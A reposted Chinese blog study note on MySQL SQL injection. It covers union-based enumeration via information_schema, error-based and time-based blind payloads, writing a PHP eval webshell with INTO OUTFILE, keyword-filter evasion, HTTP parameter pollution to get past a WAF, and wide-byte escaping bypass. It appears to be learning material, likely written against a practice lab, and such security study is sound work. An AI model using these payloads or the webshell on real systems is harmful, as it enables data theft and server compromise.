码迷,mamicode.com
首页 > 数据库 > 详细

sql注入

时间:2018-10-25 10:57:09      阅读:189      评论:0      收藏:0      [点我收藏+]

标签:iis   权限   for   绕过   mysq   use   时间   拓展   逻辑   

Mysql有一个系统数据库information_schema,存储着所有的数据库的相关信息,一般的,我们利用该表可以进行一次完整的注入:
    1. 猜数据库:         select schema_name from information_schema.schemata
    2. 猜某个库的表:     select table_name from information_schema.tables where table_schema= ‘xxxxx‘
    3. 某个表的所有列:    select column_name from information_schema.columns where tables_name= ‘xxxx‘


使用 order by可以猜表的列数,如果超过了实际的列数可能会报错
在知道列数之后,可以使用 union 联合注入。union的作用是将两个sql语句进行联合,且 union前后两个 sql语句选择的列数要相同: "?id=-1‘union select 1,2,3 --+"   ,此时如果前面要查询的的数据不存在,就只会显示后一个语句查询的内容:
    爆数据库名:    "?id=-1‘union select 1,group_concat(schema_name),3 from information_schema.schemata --+"    表名和列名同理即可。



盲注:盲注即在注入的过程中,sql语句执行的结果、数据不能回显到前端页面,此时需要盲注来进行判断或尝试。

    1. 基于布尔的盲注,是通过构造逻辑判断来进行
    2. 基于报错的盲注,是通过构造 payload让信息通过错误提示回显出来:
        "?id=-1‘union select 1,count(*),concat(‘~‘,(select group_concat(table_name) from information_schema.tables where table_schema=‘security‘),‘~‘,floor(rand(0)*2))as a from information_schema.columns group by a --+"
        "?id=-1‘and(select 1 from(select count(*),concat(‘~‘,(select group_concat(column_name) from information_schema.columns where table_name=‘users‘),‘~‘,floor(rand(0)*2))as a from information_schema.tables group by a)as x ) -- %20"
        "?id=-1‘and updatexml(1,concat(0x7e,(select xx),0x7e),1) --+"
    3. 基于时间的盲注,如 "and sleep(5)"


导入导出的相关操作
    and(select count(*) from mysql.user)>0   如果结果返回正常,说明具有读写权限
    上传一句话木马: "?id=1‘ union select 1,2,‘<?php @eval($_POST["mima"]) ?>‘ into outfile "xxxxx" --+"



or和 and的过滤:
    1. 大小写变形,如:oR,Or,OR
    2. 编码: hex,urlencode
    3. 添加注释: /*or*/
    4. 利用符号,如 or替换为||, and替换为 &&



服务器对于参数的解析:
    index.php?id=1&id=2
    1. PHP/Apach        会显示id=2 的内容,即解析最后一个参数
    2. JSP/Tomcat        会显示id=1 的内容,即解析第一个参数
    3. Perl(CGI)/Apach     会显示id=1 的内容
    4. Python/Apach        All
    5. ASP/IIS            ALL
    但如果是两层服务器的情况下,如 Apach上面装了 Tomcat的拓展,这种情况,这时候会返回id=2 的内容,因为实际上提供服务的是Apach,所以返回的数据也应是Apach处理的数据。
    在实际应用中,常常用 Tomcat做数据过滤和处理,功能类似于一个 WAF。因此我们可以利用此原理绕过 WAF的检测,这就是HPP(HTTP参数污染)。



宽字节注入:
    mysql在使用 gbk编码时,会认为两个字符是一个汉字,所以想要除掉过滤用的 \,一般有两种思路:
    1. 用 %df吃掉 \,因为 \的编码是 %5c ,在前面加上 %df,那么 %df%5c 就会在gbk编码的时候变成一个汉字,而我们要被过滤的符号自然也就逃过了
    2. 再使用 \将系统添加的 \ 给转义掉,比如可以构造 %**%%5c,这样就形成了 %**%%5c%5c

sql注入

标签:iis   权限   for   绕过   mysq   use   时间   拓展   逻辑   

原文地址:https://www.cnblogs.com/white-album2/p/9847831.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!